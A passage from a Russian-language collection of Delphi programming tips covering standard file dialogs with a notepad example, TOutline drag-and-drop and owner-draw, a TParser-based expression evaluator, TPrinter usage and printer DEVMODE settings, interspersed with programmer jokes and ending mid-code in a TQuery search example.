Перевод одноимённой статьи с сайта delphi.about.com

Стандарные диалоговые окошки

Практически любое приложение Windows использует стандартные диалоги, встроенные в операционную систему, для открытия и сохранения файлов, поиска текста, печати, выбора шрифта или установки цвета.

В этой статье мы рассмотрим основные свойства и методы этих диалогов и, особенно, сфокусируем внимание на диалогах Open и Save.

Стандартные диалоговые окошки можно найти на панели компонентов в закладке Dialogs. Для того, чтобы начать использовать определённое диалоговое окошко, его достаточно поместить на форму. Компоненты стандартных диалогов являются невидимыми, поэтому Вы не сможете изменить дизайн такого диалога во время разработки приложения.

TOpenDialog и TSaveDialog

Диалоговые окошки File Open и File Save имеют несколько общих свойств. File Open в основном используется для выбора и открытия файлов, в то время как диалог File Save (так же используется как диалоговое окошко Save As) используется для получения от пользователя имени файла, чтобы сохранить файл. Далее мы рассмотрим некоторые важные свойства TOpenDialog и TSaveDialog:

Свойство Options предназначено для задания конечного вида окна. Например, при помощи следующего кода:


 with OpenDialog1 do
   Options := Options + [ofAllowMultiSelect, ofFileMustExist];
 

мы позволим пользователю выбирать несколько файлов, а так же заставим генерироваться сообщение об ошибке, если пользователь выберет несуществующий файл.

Свойство InitialDir используется для указания директории, которая будет показана при создании диалога. Следующий код установит начальную директорию, из которой было запущено приложение:


 SaveDialog1.InitialDir := ExtractFilePath(Application.ExeName);
 

Свойство Filter содержит список типов файлов, которые сможет выбирать пользователь. Когда пользователь выберет тип файлов, то в диалоговом окне будут отображаться только файлы данного расширения. Фильтр можно легко установить на стадии создания приложения при помощи диалога редактора фильтра (Filter Editor):

Так же фильтр можно задать программно. Строка фильтра должна содержать описание и расширение для данного типа файлов, разделённые вертикальной чертой:


 OpenDialog1.Filter := 'Text files (*.txt)|*.txt|All files (*.*)|*.*';
 

Свойство FileName. Когда пользователь нажмёт на диалоге кнопку OK, то это свойство будет содержать полный путь и имя выбранного файла.

Вызов диалогового окошка

Для создания и отображения стандартного диалога необходимо выполнить метод Execute для нужного диалога. За исключением диалогов TFindDialog и TReplaceDialog, все остальные диалоги отображаются модально.

Все стандартные диалоговые окошки позволяют определить нажал ли пользователь кнопку "Отмена" (Cancel) (или нажал ESC). Если метод Execute вернул True значит пользователь нажал OK или сделал двойной щелчёк по файлу либо нажал Enter на клавиатуре, иначе, если была нажата кнопка Cancel, клавиша Esc или Alt-F4, будет возвращено значение False.


 if OpenDialog1.Execute then
   ShowMessage(OpenDialog1.FileName);
 

Этот код показывает диалог File Open и, если пользователь нажал "Открыть" (Open), то будет показано имя выбранного файла.

Использование только кода

Чтобы работать диалогом Open (или любым другим) не помещая при этом на форму компонент OpenDialog, можно воспользоваться следующим кодом:


 procedure TForm1.btnFromCodeClick(Sender: TObject);
 var
   OpenDlg: TOpenDialog;
 begin
   OpenDlg := TOpenDialog.Create(Self);
   {здесь устанавливаем опции...}
   if OpenDlg.Execute then
   begin
     {здесь что-нибудь делаем}
   end;
   OpenDlg.Free;
 end;
 

Обратите внимание, что перед вызовом Execute, можно установить различные свойства компонента OpenDialog.

TOpenPictureDialog и TSavePictureDialog

Эти два диалога есть ничто иное как обычные File Open и File Save с дополнительной возможностью предварительного просмотра выбранной картинки.

Мой Блокнот

А теперь предлагаю применить теорию на практике. Создадим простейший блокнот, и посмотрим как работают диалоговые окошки Open и Save:

Для создания блокнота проделаем следующее:

  1. Запустите Delphi и выберите в меню File-New Application.
  2. Поместите на форму Memo, OpenDialog, SaveDialog и две кнопки.
  3. Переименуйте Button1 в btnOpen, а Button2 в btnSave.

Код

1. Поместите в событие формы FormCreate следующий код:


 procedure TForm1.FormCreate(Sender: TObject);
 begin
   with OpenDialog1 do
   begin
     Options := Options + [ofPathMustExist, ofFileMustExist];
     InitialDir := ExtractFilePath(Application.ExeName);
     Filter := 'Text files (*.txt)|*.txt';
   end;
   with SaveDialog1 do
   begin
     InitialDir := ExtractFilePath(Application.ExeName);
     Filter := 'Text files (*.txt)|*.txt';
   end;
   Memo1.ScrollBars := ssBoth;
 end;
 

Этот код устанавливает некоторые свойства диалога Open как было описано в начале статьи.

2. Добавьте следующий код в событие Onclick для кнопок btnOpen и btnSave:


 procedure TForm1.btnOpenClick(Sender: TObject);
 begin
   if OpenDialog1.Execute then
   begin
     Form1.Caption := OpenDialog1.FileName;
     Memo1.Lines.LoadFromFile(OpenDialog1.FileName);
     Memo1.SelStart := 0;
   end;
 end;
 


 procedure TForm1.btnSaveClick(Sender: TObject);
 begin
   SaveDialog1.FileName := Form1.Caption;
   if SaveDialog1.Execute then
   begin
     Memo1.Lines.SaveToFile(SaveDialog1.FileName + '.txt');
     Form1.Caption := SaveDialog1.FileName;
   end;
 end;
 

Теперь можно смело запускать проект:




TOutline - Перетащи и брось

Приходит один фидошник к другому на День Рождения. Приносит открытку, навороченная такая, обалденно красивая, на ней написанно: "Поздравляю С Днем Рождения" такими красивыми буквами... Именинник открывает открытку, а там большими карявыми буквами написанно: "САБЖ".

Вам нужно перехватывать в TOutline сообщение wm_DropFiles. Для этого необходимо создать его потомка. Также, вы должны убедиться в том, что дескриптор TOutline Handle хотя бы раз передавался в качестве параметра функции DragAcceptFiles. Для определения положения мыши в момент перетаскивания используется DragQueryPoint. Если вы прочтете разделы в WINAPI.HLP по DragAcceptFiles, wm_DropFiles, DragQueryFile, DragQueryPoint и DragFinish, то вы поймете, как все это работает.




TOutline - Перетащи и брось 2

Установите DragMode = dmManual, создайте OnMouseDownHandler, внутри обработчика осуществите вызов BeginDrag(False). BeginDrag(False) в действительности не начинает перемещение, пока пользователь не переместит объект больше, чем на 5 пикселей, так что если пользователь просто щелкнет на компоненте, операция перетаскивания даже не начнется.




TOutline - Перетащи и брось 3

Проблема заключается в том, что прежде, чем windows сможет обработать сообщение WM_MouseUp, курсор мыши передвинется дальше. Вот решение этой головоломки:

  1. Разрешите Windows как можно скорее обработатывать события мыши:

  2.  OnMouseDown:
     BeginDrag(False);
     while ... do
     begin
     Application.ProccessMessages; { это позволяет Windows обработать }
     { все сообщения за один шаг }
     end;
     

    Комментарий:

    Обратите пристальное внимание при создании цикла, если вы используете цикл типа 'while', то вы должны предусмотреть возможность выхода из него, например, при закрытии приложения, или других действий пользователя, требующих экстренного выхода из тела цикла.

  3. Аналогично:

  4.  OnMouseDown:
     BeginDrag(False);
     Application.ProccessMessages;
     while ... do
     begin
     { единственный шаг обработки }
     end;
     

    Убедитесь в правильности работы кода.

  5. Переместите вызов BeginDrag в обработчик события OmMouseMove.



Пример отрисовки TOutline

Автор: David E. Scheim

Мне необходимо было изменить поведение компонента по части его отрисовки, к примеру, мне нужно было позволить пользователю выделить несколько значений и покрасить их в другой цвет. Я с удивлением обнаружил, что использование функции GetItem для определения отрисовываемой строки на редкость просто и понятно. Прежде же для этой цели я создавал цикл, вылавливал из всех индексов нужный и затем передавал его процедуре. Но в случае с множественным выбором это становилось медленным, неуклюжим и запутанным.

Ниже я разместил пример такой программы. Она позволяет рисовать символы плюсы/минусы плюс сам текст. Я также включил в нее код для создания, загрузки и освобождения иконок с символами плюса и минуса.


 procedure TForm1.FormCreate(Sender: TObject);
 begin
   BitmapPlus := TBitmap.Create;
   BitmapPlus.LoadFromFile('c:\delphi\images\default\outplus.bmp');
   BitmapMinus := TBitmap.Create;
   BitmapMinus.LoadFromFile('c:\delphi\images\default\outminus.bmp');
 end;
 
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   BitMapPlus.Destroy;
   BitMapMinus.Destroy;
 end;
 
 procedure TForm1.Outline1DrawItem(Control: TWinControl;
   Index: Integer; Rect: TRect; State: TOwnerDrawState);
 var
   iLeft, iht: integer;
   s: string;
   NodeInView: TOutlineNode;
   col: TColor;
   {Примечание: BitMapvariables BitMapPlus и ..
   Минус объявлены глобально и грузятся при создании формы}
 begin
   with (Control as TOutline).Canvas do
   begin
     {рисуем на холсте элемента управления, не на форме}
     IndexInFull := outline1.getitem(rect.left + 1, rect.top + 1);
     NodeInView := Outline1.Items[IndexInFull];
     Font := Outline1.Font;
     iLeft := Rect.Left;
     iht := Outline1.ItemHeight;
     inc(iLeft, iht * (NodeInView.level - 1));
     s := NodeInView.Text;
     Col := clWindow;
     Font.Color := clWindowText;
     Brush.Color := col;
     FillRect(Rect); { очищаем прямоугольник }
     if NodeInView.HasItems and not NodeInView.Expanded then
       {Draw(iLeft,Rect.Top, BitmapPlus)}
       BrushCopy(Bounds(iLeft + 1, Rect.Top + 1, iht - 2, iht - 2), BitMapPlus,
         Bounds(0, 0, BitMapPlus.Width, BitMapPlus.Height),
         BitMapPlus.TransparentColor);
     if NodeInView.Expanded and NodeInView.HasItems then
       BrushCopy(Bounds(iLeft + 1, Rect.Top + 1, iht - 2, iht - 2), BitMapMinus,
         Bounds(0, 0, BitMapMinus.Width, BitMapMinus.Height),
         BitMapMinus.TransparentColor);
     if Copy(NodeInView.Text, Length(NodeinView.Text), 1) = 'y' then
       Col := clAqua;
     if Outline1.SelectedItem = IndexInFull then
     begin
       Col := clHighlight;
       Font.Color := clHighlightText
     end;
     Brush.Color := col;
     inc(ILeft, iht);
     TextOut(iLeft, Rect.Top, s);
   end;
 end;
 




TOutline OwnerDraw - значение индекса

Автор: Blake Versiga

Параметр TheOutline Index в обработчике OwnerDraw всегда равен нулю.


 { получаем значение Index узла, который нужно отрисовать}
 ItemIndex := Outline1.GetItem(Rect.Left, Rect.Top);
 
 {Получаем узел Ouline }
 Node := Outline1.Items[ItemIndex];
 




Поточность TOutline

Автор: Nick Hodges

...я уже обратил внимание на то, что TOutline является потомком TPersistence. Поэтому теоретически возможно сохранение в потоке дерева объектов и его последующая загрузка. И все равно я не пойму как в этом случае работать с двоичным файлом...

Ниже приведен простейший путь решения вашего вопроса. Имейте в виду, что в коде не предусмотрена проверка на ошибки чтения и гарантии принадлежности компонента типу TOutline.


 procedure TForm1.Button2Click(Sender: TObject);
 var
   S: TFileStream;
 begin
   S := TFileStream.Create('C:\junk\myoutlin.dat', fmCreate);
   try
     S.WriteComponent(Outline1);
   finally
     S.Free;
   end;
 end;
 
 procedure TForm1.Button3Click(Sender: TObject);
 var
   S: TFileStream;
 begin
   S := TFileStream.Create('C:\junk\myoutlin.dat', fmOpenRead);
   try
     S.ReadComponent(Outline1);
   finally
     S.Free;
   end;
 end;
 




Ханойская башня

Тяжёлое детство: восьмибитные игрушки.

"Ханойская башня" построена на очень простом алгоритме. Здесь я привожу этот алгоритм, который Вы сможете без труда воспроизвести.


 type
   THanoiBin = 0..2;
   THanoiLevel = 0..9;
 


 procedure MoveDisc(FromPin, ToPin : THanoiPin; Level : THanoiLevel);
 //  Это Вы должны сделать сами. Переместите один диск с одного штырька на другой.
 //  Диск окажется наверху (естественно, выше него дисков не будет) 
 

Вы можете каким угодно образом перемещать диски 3-х пирамид. 3 пирамиды - наиболее простая разновидность алгоритма. Таким образом процедура переноса диска (MoveDisc) аналогична операции переноса диска на верхний уровень (MoveTopDisc): переместить диск наверх с одного штырька (FromPin) на другой штырек (ToPin) и передать указатель на штырек-приемник (MoveTower) вместе с уровнем расположения перемещенного диска. Другое решение заключается в использовании трех массивов [THanoiLevel] логического типа. В этом случае триггер "Истина (True)" означает наличие на пирамиде диска с размером, соответствующим порядковому номеру элемента массива THanoiLevel.


 procedure MoveTower(FromPin, ToPin : THanoiPin; Level : THanoiLevel);
 begin
   if HanoiLevel <= High(THanoiLevel) then
   begin
     MoveTower(FromPin, 3 - FromPin - ToPin, Level + 1);
     MoveDisc(FromPin, ToPin, Level);
     MoveTower(3 - FromPin - ToPin, ToPin, Level + 1);
   end;
 end;
 

Чтобы переместить пирамиду целиком, вы должны вызвать процедуру MoveTower следующим образом:


 MoveTower(0, 1, Low(THanoiLevel));
 




Как узнать значения, которые пользователь вводит в TDBGrid

С точки зрения программиста пользователь - это периферийное устройство, вводящее набор символов в ответ на команду READ.

Вы можете "видеть" что набирается в TDBGrid, "смотря" на контрол сетки TInPlaceEdit. Вы должны убедиться только в том, что к моменту использования TInPlaceEdit, контрол уже создан. Следующая функция покажет данные, редактируемые в колонках сетки:


 procedure TForm1.DBGrid1KeyUp(Sender: TObject;
           var Key: Word; Shift: TShiftState);
 var
   B: byte;
 begin
   for B := 0 to DBGrid1.ControlCount - 1 do
     if DBGrid1.Controls[B] is TInPlaceEdit then
       with DBGrid1.Controls[B] as TInPlaceEdit do
         Label1.Caption := 'Text = ' + Text;
 end;
 




TPageProducer. Взаимодействие свойств HTMLDoc и HTMLFile

Автор: Пащенко Андрей

В документации Delphi 6 указано, что присвоение значения свойству HTMLDoc стирает значение HTMLFile и наоборот. Однако при установке свойства HTMLDoc через HTMLDoc.Text сохраняется и значение HTMLFile. Причем при своей работе TPageProducer воспринимает HTMLDoc как пустое значение и работает с HTMLFile.

Пример:


 PageProducer1.HTMLFile := 'c:\index.htm';
 PageProducer1.HTMLDoc.Text := 'ýòî êàêîé-òî HTML øàáëîí';
 Edit1.Text := PageProducer1.HTMLFile;
 Memo1.Lines.Assign(PageProducer1.HTMLDoc);
 

Edit1.Text содержит 'c:\index.htm';
Memo1.Lines содержит 'это какой-то HTML шаблон';

ТИПОВЫЕ РЕШЕНИЯ

Решением данной проблемы является непосредственное присвоение пустой строки свойству HTMLFile.


 PageProducer1.HTMLFile := '';
 

КОММЕНТАРИЙ

Delphi 5 ведет себя абсолютно аналогично. Документированное поведение наблюдается только в design-time. Может быть, это и имелось ввиду в Help?




TPaintBox в буфер обмена

Автор: Xavier Pacheco


 var
   pbRect: TRect;
 begin
   pbRect := Rect(0, 0, PaintBox1.Width, PaintBox1.Height);
   BitMap := TBitMap.Create;
   try
     Bitmap.Width := PaintBox1.Width;
     Bitmap.Height := PaintBox1.Height;
     BitMap.Canvas.CopyRect(pbRect, PaintBox1.Canvas, pbRect);
     ClipBoard.Assign(BitMap);
   finally
     BitMap.Free;
   end;
 end;
 




Как сохранить содержимое TPaintBox в BMP

Программист смотрит фильм "Чужой":
- Ну запишись же, запишись.


 var
   Bitmap: TBitmap;
   Source: TRect;
   Dest: TRect;
 begin
   Bitmap := TBitmap.Create;
   try
     with Bitmap do
     begin
       Width := MyPaintBox.Width;
       Height := MyPaintBox.Height;
       Dest := Rect(0, 0, Width, Height);
     end;
     with MyPaintBox do
       Source := Rect(0, 0, Width, Height);
     Bitmap.Canvas.CopyRect(Dest, MyPaintBox.Canvas, Source);
     Bitmap.SaveToFile('MYFILE.BMP');
   finally
     Bitmap.Free;
   end;
 end;
 




Недокументированный TParser

Автор: Mike Scott

... тем не менее я хотел бы знать как это работает (при возможности точный синтаксис), так как я еще не получил свою копию Delphi и на руках у меня только часть электронной документации, где ни слова не сказано про Tparser.

Я не думаю, что смогу вам здесь дать полное описание того, как работает TParser. Тем не менее, я дам вам несколько важных замечаний. При этом я допускаю, что у вас есть файл CLASSES.INT, описывающий интерфейс анализатора.

В основном вы открываете поток и передаете это конструктору парсера. Затем вы можете изучать свойство Token, которое будет или символом, представляющим из себя один из четырех лексических признаков (плюс пятый EOF), или следующий символ в потоке, если следующим идет символ, не относящийся ни к одному из вышеописанных. Специальные символы имеют следующие значения:

   toEOF     = Char(0);
   toSymbol  = Char(1);
   toString  = Char(2);
   toInteger = Char(3);
   toFloat   = Char(4);
 
 
В зависимости от значения, для получения элемента вы вызываете соответствующий. Например, если Token = toString, то фактический элемент строки извлекается с помощью вызова TokenString. Если это toInteger, то вызывайте TokenInt и т.д.. Для получения следуюшего символа вызывайте NextToken, который возвратит его значение.

Я надеюсь, что при получении вашей копии Delphi вы найдете ответы на остальные ваши вопросы.




Пример TParser

Автор: Mike Scott (Mobius Ltd)

С интересом прочли ваш совет про TParser. Может вы смогли бы нам еще немного помочь советом? Нам необходимо вычислить математическое выражение с применением стандартных механизмов (приоритеты, порядок и т.д.). Это возможно с помощью TParser? Или придется все делать ручками?

На самом деле TParser не является синтаксическим анализатором, скорее это лексический анализатор, или сканер. Или, другими словами, входной поток признаков (tokens) в ASCII-коде. Вы довольно легко можете использовать эти "признаки" для парсирования выражения, используя простую рекурсию. Сделав это, вы можете произвести разбор вашего математического выражения практически любой сложности. TParser вам поможет, но рекурсивный анализатор придется создавать ручками.

...простой пример, который мы хотим парсировать:

(23.34 + 21.21) * 2.92 - 12.21 * sin (180) * -1

Вот пример синтаксического анализатора выражений, наследника TParser, который может разобрать вышеуказанное выражение. Он использует следующие определения для выражений:

       Expr   ::= Term + Expr | Term - Expr | Term
       Term   ::= Factor * Term | Factor / Term | Factor
       Factor ::= + Item | - Item | Item
       Item   ::= ( Expr ) | Fn( Expr ) | Number
       Fn     ::= Sin | Cos
       Number ::= floating point literal number (плавающая точка литерала числа)
 
 
Далее идет модуль и форма, показывающие как это можно использовать. Вы должны скопировать текст формы в окно редактора Delphi и сохранить как DFM-файл. Мои расчеты вашего выражения привели к результату 130.086 - это правильно?

Примечание: TParser имеет ошибку в подпрограмме парсирования плавающего числа. Любое сочетание символов с символами '+' или '-' воспринимается как часть плавающего числа, поскольку 1e+3 корректное выражение. Естественно, это должно быть правильным только в совокупности с символом 'e'. Поэтому вы должны убедиться, что перед символами '+' и '-' имеется хотя бы один пробел, как показано в вашем выражении. Вы можете это исправить (если у вас есть исходный код VCL), редактируя функцию TParser.NextToken.

Скопируйте поочередно три приведенных ниже файла и вставьте их в окно редактора Delphi. Самый простой способ - закройте все открытые проекты и создайте новый модуль. Выделите весь текст, сгенерированный Delphi и вставьте текст модуля ExpParse. Сохраните его под именем ExpParse.pas. Затем создайте другой модуль, перенесите в него EvalForm.pas и также сохраните. Снова закройте файл и создайте новый модуль. Вставьте в него EvalForm.dfm и сохраните, выбрав меню "Save as" и отметив в списке тип файла DFM. Затем создайте новый проект, удалите форму, созданную по умолчанию и добавьте файл EvalForm.pas.


 // *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
 
 unit ExpParse;
 
 interface
 
 uses Classes;
 
 { Набор парсируемых элементов определяется как подмножество
 выражений Delphi Object Pascal, подобно этому:
 
 Expr   ::= Term + Expr | Term - Expr | Term
 Term   ::= Factor * Term | Factor / Term | Factor
 Factor ::= + Item | - Item | Item
 Item   ::= ( Expr ) | Fn( Expr ) | Number
 Fn     ::= Sin | Cos | другое...
 Number ::= floating point literal number (плавающая точка литерала числа)
 }
 
 type
   TExpressionParser = class(TParser)
   protected
     function SkipToken(Value: char): boolean;
     function EvalItem: double; virtual;
     function EvalFactor: double; virtual;
     function EvalTerm: double; virtual;
   public
     function EvalExpr: double;
   end;
 
 implementation
 
 uses SysUtils;
 
 function TExpressionParser.SkipToken(Value: char): boolean;
 begin
   { возвращаем истину, если текущий признак Value,
   и если так, то получаем следующий признак }
   Result := Token = Value;
   if Result then
     NextToken;
 end;
 
 function TExpressionParser.EvalItem: double;
 
 var
   Expr: double;
   Fn: integer;
 
 begin
   case Token of
     toInteger: Result := TokenInt;
     toFloat: Result := TokenFloat;
     '(':
       begin
         NextToken;
         Result := EvalExpr;
         CheckToken(')');
       end;
     toSymbol:
       begin
         if CompareText(TokenString, 'SIN') = 0 then
           Fn := 1
         else if CompareText(TokenString, 'COS') = 0 then
           Fn := 2
         else
           raise EParserError.CreateFmt('Неизвестный элемент "%s"', [TokenString]
             );
 
         NextToken;
         CheckToken('(');
         NextToken;
         Expr := EvalExpr;
         CheckToken(')');
         case Fn of
           1: Result := SIN(Expr);
           2: Result := COS(Expr);
         end;
       end;
   else
     raise EParserError.CreateFmt('Неожидаемый символ "%s"', [Token]);
   end;
   NextToken;
 end;
 
 function TExpressionParser.EvalFactor: double;
 
 begin
   case Token of
     '+':
       begin
         NextToken;
         Result := EvalItem;
       end;
     '-':
       begin
         NextToken;
         Result := -EvalItem;
       end;
   else
     Result := EvalItem;
   end;
 end;
 
 function TExpressionParser.EvalTerm: double;
 var
   AToken: char;
 begin
   Result := EvalFactor;
   if SkipToken('*') then
     Result := Result * EvalTerm
   else if SkipToken('/') then
     Result := Result / EvalTerm;
 end;
 
 function TExpressionParser.EvalExpr: double;
 begin
   Result := EvalTerm;
   if SkipToken('+') then
     Result := Result + EvalExpr
   else if SkipToken('-') then
     Result := Result - EvalExpr;
 end;
 
 end.
 
 // *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
 
 unit EvalForm;
 
 interface
 
 uses
   SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
   Forms, Dialogs, StdCtrls, ExpParse;
 
 type
   TForm1 = class(TForm)
     Edit1: TEdit;
     Label1: TLabel;
     Button1: TButton;
     Label2: TLabel;
     procedure Button1Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 procedure TForm1.Button1Click(Sender: TObject);
 var
   s: string;
   MemStream: TMemoryStream;
   ExpressionParser: TExpressionParser;
 begin
   { get the string to evaluate }
   s := Edit1.Text;
 
   { создаем поток для работы с памятью, содержащий текст -
   TParser может разбирать выражения из потока}
 
   MemStream := TMemoryStream.Create;
   try
     MemStream.SetSize(Length(s));
     MemStream.WriteBuffer(s[1], Length(s));
     MemStream.Position := 0;
 
     { создаем анализатор выражения, используя поток }
     ExpressionParser := TExpressionParser.Create(MemStream);
     try
       Label2.Caption := Format('Результат=%g', [ExpressionParser.EvalExpr]
         );
 
     finally
       ExpressionParser.Free;
     end;
   finally
     MemStream.Free;
   end;
 end;
 end.
 
 // *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
 
 object Form1: TForm1
   Left = 216
     Top = 102
     Width = 433
     Height = 300
     Caption = 'Form1'
     Font.Color = clWindowText
     Font.Height = -13
     Font.Name = 'System'
     Font.Style = []
     PixelsPerInch = 96
     TextHeight = 16
     object Label1: TLabel
     Left = 8
       Top = 8
       Width = 74
       Height = 16
       Caption = 'Выражение'
   end
   object Label2: TLabel
     Left = 120
       Top = 72
       Width = 297
       Height = 16
       AutoSize = False
       Caption = 'Результат='
   end
   object Edit1: TEdit
     Left = 8
       Top = 27
       Width = 409
       Height = 24
       TabOrder = 0
       Text = '(23.34 + 21.21) * 2.92 - 12.21 * sin (180) * -1'
   end
   object Button1: TButton
     Left = 8
       Top = 64
       Width = 89
       Height = 33
       Caption = 'Оценка'
       default = True
       TabOrder = 1
       OnClick = Button1Click
   end
 end
 




Массив TPOINT


 Const
 
 ptarr : Array[0..4] Of TPoint =
 ((x:0; y:4),
 .
 .
 (x:4; y:4));
 




Редактор свойств для точки

Автор: Mike Scott

TPoint не имеет информацию о типе, следовательно, вы не можете зарегистрировать для него редактор свойства. Вы можете иметь редактор свойств только для строк, реальных, порядковых чисел или указателей на объекты. Дело в том, что редактор свойств имеет только следующие методы, чтобы иметь доступ к свойствам через RTTI:

   GetValue/SetValue            для строк (strings)
   GetFloatValue/SetFloatValue  для натуральных чисел (floats)
   GetOrdValue/SetOrdValue      для порядковых (и указателей)

Решением может быть создание класса TPersistentPoint, являющегося наследником TPersistent и имеющего те же свойства, что и TPoint. Вы можете просто "обернуть" TPoint для хранения значений, или создать явные поля. Непосредственное использование TPoint сделает использование метода Assign легким и быстрым для кодирования. Для процедур чтения и записи вы можете использовать поля записи, как показано ниже:


 type
   TPersistentPoint = class( TPersistent )
     private
       FPoint: TPoint ;
     published
       property X : integer read FPoint.X write FPoint.X ;
       property Y : integer read FPoint.Y write FPoint.Y ;
   end ;
 




Компонент TPowerSock

Звонит браток в компютерный магазин:
- Але, козлы, чe вы мне за комп продали!? Не работает!
- А вы кнопку "power" на нём нажали?
- Да я её два раза нажал, всё равно не работает!

Компонент TPOWERSOCK является базовым классом для многих компонентом инструментальной панели FastNet. Вы можете так же использовать его как базовый класс для создания компонентов, использующих другие стандартные протоколы либо ваши собственные протоколы.

Разработчики не советуют использовать этот компонент сам по себе, а рекомендуют использовать его только как базовый класс и строить на его основе новые компоненты.

Если вы собираетесь создавать новые компоненты на основе компонента TPOWERSOCK, вам следует изучить исходный код этого компонента и более детально ознакомиться с его работой. Если у вас нет исходных кодов для компонентов из панели FastNet, зайдите на WEB-сайт компании NetMasters по адресу http://www.netmasters.com, где вы узнаете как их можно получить.




Класс TPrinter

Разговаривают два друга о компах, и разговор зашел про Билла Гейтса и его компе:
- Интересно, какая у Билла Гейтса видюха?
- Какая-нибудь Джи-Форс, последней модели...
- Хм, а какой у него камень? Пент 5-й?
- Такого еще не продают...
- А у него уже есть...
- Хе, и стоят у него Линуха!

Delphi имеет стандартный объект для доступа к принтеру - TPRINTER, находящийся в модуле PRINTERS. В этом модуле имеется переменная Printer:Tpinter, что избавляет от необходимости описывать свою. Он позволяет выводить данные на печать и управлять процессом печати. Правда, в некоторых версиях Delphi1 он имеет "глюк" - не работают функции Draw и StrethDraw. Но эта проблема поправима - можно использовать функции API. Далее приведены основные поля и методы объекта Printers :

PROPERTY

  • Aborted:boolean - Показывает, что процесс печати прерван
  • Canvas:Tcanvas - Стандартный Canvas, как у любого графического объекта. Он позволяет рисовать на листе бумаге графику, выводить текст ... . Тут есть несколько особенностей, они описаны после описания объекта.
  • Fonts:Tstrings - Возвращает список шрифтов, поддерживаемых принтером
  • Handle:HDS - Получить Handle на принтер для использования функций API (см. Далее)
  • Orientation:TprinterOrientation - Ориентация листа при печати : (poPortrait, poLandscape)
  • PageHeight:integer - Высота листа в пикселах
  • PageNumber:integer - Номер страницы, увеличивается на 1 при каждом NewPage
  • PageWidth:integer - Ширина листа в пикселах
  • PrinterIndex:integer - Номер используемого принтера по списку доступных принтеров Printers
  • Printers:Tstrings - Список доступных принтеров
  • Printing:boolean - Флаг, показывающий, что сейчас идет процесс печати
  • Title:string - Имя документа или приложения. Под этим именем задание на печать регистрируется в диспетчере печати

METODS

  • AssignPrn(f:TextFile) - Связать текстовый файл с принтером. Далее вывод информации в этот файл приводит к ее печати. Удобно в простейших случаях.
  • Abort - Сбросить печать
  • BeginDoc - Начать печать
  • NewPage - Начать новую страницу
  • EndDoc - Завершить печать.

Пример :


 Procedure TForm1.Button1Click(Sender: TObject);
 Begin
  With Printer do Begin
   // Начало печати
   BeginDoc;
   // Задали шрифт
   Canvas.Font:=label1.font;
   // Печатаем текст
   Canvas.TextOut(100,100,'Delphi World - лучше всех !!! :) ');
   // Конец печати
   EndDoc;
  end;
 end;
 




Пример использования TPrinter

Автор: Jeff Fisher

Может ли мне кто-либо сказать, как с помощью TPrinter сделать следующее?:

  1. Замена исходного Paper Bin страницей. Создание отчета, который нужно переключать между двумя бункерами (некоторым страницам отчета нужно работать с другим бункером, например бланки писем и пр.).
  2. Печать нескольких копий отчета. Для этого желательно использовать диалог настройки принтера, но это, похоже, не работает.
То, что вы собираетесь делать, возможно с помощью структуры TDevMode, получив к которой доступ, можно делать необходимые вам изменения. Структура TDevMode имеет все необходимые для настройки принтера поля и позволяет сделать любые настройки не обращаясь к диалогу настройки принтера.

Вот пример одного из моих компонентов, инкапсулирующий вышесказанную функциональность:


 procedure TCrpePrinter.GetCurrentPrinter;
 var
   lpDevice: PChar;
   lpDriver: PChar;
   lpPort: PChar;
   Handle: THandle;
 begin
   lpDevice := StrAlloc(255);
   lpDriver := StrAlloc(255);
   lpPort := StrAlloc(255);
 
   try
     Printer.GetPrinter(lpDevice, lpDriver, lpPort, Handle);
     if Handle <> 0 then
       { если это не 0, то мы имеем указатель на структуру устройства}
     begin
       FDevMode := Ptr(Handle, 0); {Получаем дескриптор структуры устройства}
       FDevice := StrPas(lpDevice);
       FDriver := StrPas(lpDriver);
       FPort := StrPas(lpPort);
     end
     else
     begin
       Printer.PrinterIndex := Printer.PrinterIndex;
         {Этим мы пытаемся осуществить инициализацию}
       Printer.GetPrinter(lpDevice, lpDriver, lpPort, Handle);
       if Handle <> 0 then
       begin
         FDevMode := Ptr(Handle, 0);
         FDevice := StrPas(lpDevice);
         FDriver := StrPas(lpDriver);
         FPort := StrPas(lpPort);
       end
       else
       begin
         FDevMode := nil;
         raise ECrpe.Create('Ошибка загрузки драйвера принтера');
       end;
     end;
   finally
     StrDispose(lpDevice);
     StrDispose(lpDriver);
     StrDispose(lpPort);
   end;
 end;
 

Изменение лотка и количества копий:


 dmCopies := 2;
 dmDefaultSource := 2;  {Нижний лоток}
 

Как только вы получите указатель на структуру devmode, вы вправе делать изменения любых полей. Говорят, могут быть проблемы при изменении лотков во время печати, но сам я не пробовал менять эти поля в структуре DevMode.




Особенности работы с TPrinter

1. После команды BeginDoc шрифт у Canvas принтера сбрасывается и его необходимо задавать заново

2. Все координаты даны в пикселах, а для нормальной работы необходимы миллиметры (по двум очевидным причинам: очень трудно произвести разметку страницы в пикселах (особенно если необходима точность), и , главное, при изменении разрешающей способности принтера будет изменяться число точек на дюйм, и все координаты "поедут".

3. У TPrinter информация о принтере, по видимому, определяются один раз - в момент запуска программы (или смены принтера). Поэтому изменение настроек принтера в процессе работы программы может привести к некорректной работе, например, неправильной печать шрифтов True Type.




Поиск записи с помощью TQuery

Как мне найти запись (осуществить 'Find') в TQuery?

Я привел ниже код, который я использую в своей работе, правда, в нем еще необходимо организовать обработку исключительных ситуаций, но это дело времени. Когда пользователь нажимает кнопку "Найти", обработчик события OnClick вызывает процедуру SearchName.

Объявляем: FindSearch : Boolean и инициализируем значением True.


 function LookForString(target, source: string): boolean;
 { в случае игнорирования перед вызовом pos необходимо
 преобразовать source и target в верхний регистр }
 begin
   LookForString := pos(target, source);
 end;
 
 procedure SearchName(searchtype: string; stringtofind: string);
 var
   OldCursor: TCursor;
   CurrentPos: TBookmark;
   found: boolean;
 begin
   if Form1.Query1.State = dsEdit then
     Form1.Query1.Post;
   if StringToFind = '' then
     exit;
   OldCursor := Screen.Cursor;
